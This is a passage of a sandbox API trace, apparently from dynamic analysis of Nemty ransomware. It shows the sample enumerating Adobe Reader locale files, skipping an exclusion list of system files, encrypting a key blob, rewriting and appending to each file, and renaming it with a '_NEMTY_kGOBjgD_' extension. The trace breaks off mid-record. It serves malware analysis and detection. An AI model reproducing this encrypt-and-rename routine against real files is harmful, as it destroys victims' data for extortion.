[0185.299] lstrcmpiW (lpString1="Annots.UKR", lpString2="boot.ini") returned -1 [0185.299] lstrcmpiW (lpString1="Annots.UKR", lpString2="AUTOEXEC.BAT") returned -1 [0185.300] lstrcmpiW (lpString1="Annots.UKR", lpString2="ntuser.dat") returned -1 [0185.300] lstrcmpiW (lpString1="Annots.UKR", lpString2="desktop.ini") returned -1 [0185.300] lstrcmpiW (lpString1="Annots.UKR", lpString2="CONFIG.SYS") returned -1 [0185.300] lstrcmpiW (lpString1="Annots.UKR", lpString2="RECYCLER") returned -1 [0185.300] lstrcmpiW (lpString1="Annots.UKR", lpString2="BOOTSECT.BAK") returned -1 [0185.300] lstrcmpiW (lpString1="Annots.UKR", lpString2="bootmgr") returned -1 [0185.300] lstrcmpiW (lpString1="Annots.UKR", lpString2="programdata") returned -1 [0185.300] lstrcmpiW (lpString1="Annots.UKR", lpString2="appdata") returned -1 [0185.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.UKR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0185.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.UKR", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.UKR", lpUsedDefaultChar=0x0) returned 10 [0185.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.UKR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0185.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.UKR", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.UKR", lpUsedDefaultChar=0x0) returned 10 [0185.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.UKR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0185.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.UKR", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.UKR", lpUsedDefaultChar=0x0) returned 10 [0185.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.UKR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0185.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.UKR", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.UKR", lpUsedDefaultChar=0x0) returned 10 [0185.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0185.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0185.300] Sleep (dwMilliseconds=0x5) [0185.310] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2219b250, dwHighDateTime=0x1d561e8)) [0185.310] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2219b250, dwHighDateTime=0x1d561e8)) [0185.310] GetLastError () returned 0x0 [0185.310] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.310] GetLastError () returned 0x0 [0185.310] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.310] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.310] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.310] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.311] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0185.311] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="5+/ib5lL46pbKpSq8nt4YDRMW8+uPC1i4yGfDIEH/lT5Kf056z1yeCUJ+QaX9vL7\r\n66IwGQrXthdfTcJvoSt/hE7QWaWy0tHBTbBabRnQNLFGwVzcKBwqacaqBy7dNnTC\r\nRI67JwDEnuNm03gmFtdMC+4cVTOdRi3YAuCRGxH0X3p1h3P/qDI9zIXaS4h478FN\r\n2JZc3GDQN0BS8jUPPIPhP1/ID81R4k/pjxiO3xKrCy/ZqNLr6ilpD0J4ay4Cphvl\r\nEI0Fkja4671jBN/Zt03ULESvvton5T0Yi1Tnhkyu1FqUd9j+8oVDkoOCA+/x16mP\r\nXBZUFmodu0zftxvvfl3cRQ==\r\n", pcchString=0x653e5dc) returned 1 [0185.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0185.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.311] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Annots.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\annots.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.311] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=502272) returned 1 [0185.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0185.311] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.311] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0185.347] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.347] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0185.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.348] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=502272, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7aa00 [0185.348] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.349] CloseHandle (hObject=0x2e8) returned 1 [0185.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0185.349] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.349] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0185.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.350] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Annots.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\annots.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Annots.UKR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\annots.ukr._nemty_kgobjgd_")) returned 1 [0185.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0185.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0185.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0185.351] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820a1b60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="BRdlang32.UKR", cAlternateFileName="BRDLAN~1.UKR")) returned 1 [0185.351] lstrcmpiW (lpString1="BRdlang32.UKR", lpString2=".") returned 1 [0185.351] lstrcmpiW (lpString1="BRdlang32.UKR", lpString2="..") returned 1 [0185.351] lstrcmpiW (lpString1="BRdlang32.UKR", lpString2="...") returned 1 [0185.351] lstrcmpiW (lpString1="BRdlang32.UKR", lpString2="windows") returned -1 [0185.351] lstrcmpiW (lpString1="BRdlang32.UKR", lpString2="$RECYCLE.BIN") returned 1 [0185.351] lstrcmpiW (lpString1="BRdlang32.UKR", lpString2="rsa") returned -1 [0185.351] lstrcmpiW (lpString1="BRdlang32.UKR", lpString2="NTDETECT.COM") returned -1 [0185.351] lstrcmpiW (lpString1="BRdlang32.UKR", lpString2="ntldr") returned -1 [0185.351] lstrcmpiW (lpString1="BRdlang32.UKR", lpString2="MSDOS.SYS") returned -1 [0185.351] lstrcmpiW (lpString1="BRdlang32.UKR", lpString2="IO.SYS") returned -1 [0185.351] lstrcmpiW (lpString1="BRdlang32.UKR", lpString2="boot.ini") returned 1 [0185.351] lstrcmpiW (lpString1="BRdlang32.UKR", lpString2="boot.ini") returned 1 [0185.351] lstrcmpiW (lpString1="BRdlang32.UKR", lpString2="AUTOEXEC.BAT") returned 1 [0185.351] lstrcmpiW (lpString1="BRdlang32.UKR", lpString2="ntuser.dat") returned -1 [0185.351] lstrcmpiW (lpString1="BRdlang32.UKR", lpString2="desktop.ini") returned -1 [0185.352] lstrcmpiW (lpString1="BRdlang32.UKR", lpString2="CONFIG.SYS") returned -1 [0185.352] lstrcmpiW (lpString1="BRdlang32.UKR", lpString2="RECYCLER") returned -1 [0185.352] lstrcmpiW (lpString1="BRdlang32.UKR", lpString2="BOOTSECT.BAK") returned 1 [0185.352] lstrcmpiW (lpString1="BRdlang32.UKR", lpString2="bootmgr") returned 1 [0185.352] lstrcmpiW (lpString1="BRdlang32.UKR", lpString2="programdata") returned -1 [0185.352] lstrcmpiW (lpString1="BRdlang32.UKR", lpString2="appdata") returned 1 [0185.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.UKR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0185.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.UKR", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.UKR", lpUsedDefaultChar=0x0) returned 13 [0185.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.UKR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0185.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.UKR", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.UKR", lpUsedDefaultChar=0x0) returned 13 [0185.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.UKR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0185.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.UKR", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.UKR", lpUsedDefaultChar=0x0) returned 13 [0185.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.UKR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0185.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.UKR", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.UKR", lpUsedDefaultChar=0x0) returned 13 [0185.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0185.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0185.352] Sleep (dwMilliseconds=0x5) [0185.357] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2220d670, dwHighDateTime=0x1d561e8)) [0185.357] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2220d670, dwHighDateTime=0x1d561e8)) [0185.357] GetLastError () returned 0x0 [0185.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.357] GetLastError () returned 0x0 [0185.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.357] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.357] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.357] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0185.358] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="K5PjR3JFEVk1wpxAmMkZUKTlNruNHTTrIMJklzF30POYR1LZE5YW3Ck/oESlFuV+\r\nUe/pkTkoflhziIie+WWWk7Doc1AVawhWGpxvWvx2IJqQgVkkYhvTQ6hLWrvwpAL+\r\n/S3IhfUAunP89rcWv8Q4Xkq/vTnVLifhOVrWWVURJEwQ9K37j4N4ArtvXbe4GNRW\r\ndZTcWuVvhoxd8VCMz6KqGoVPlNvibZfEvfUoJUzlGcmqCxui7FKLtEI/f9eCZpTw\r\nOSAUcB9mItpKy3zUYNj5RiJZbejiZAE0H9BXHGEo4Ry76Rt7YZXHHml81Vpzja1p\r\nS/j7YNhShQ8JuEZgpSo/Ig==\r\n", pcchString=0x653e5dc) returned 1 [0185.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0185.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.358] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\BRdlang32.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\brdlang32.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.358] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=12800) returned 1 [0185.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3200) returned 0x6352c48 [0185.358] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.358] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3200, lpOverlapped=0x0) returned 1 [0185.361] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.361] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3200, lpOverlapped=0x0) returned 1 [0185.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.361] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=12800, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3200 [0185.361] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.361] CloseHandle (hObject=0x2e8) returned 1 [0185.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0185.361] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.361] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0185.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0185.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0185.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.362] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\BRdlang32.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\brdlang32.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\BRdlang32.UKR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\brdlang32.ukr._nemty_kgobjgd_")) returned 1 [0185.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0185.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0185.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.362] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830b2fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, 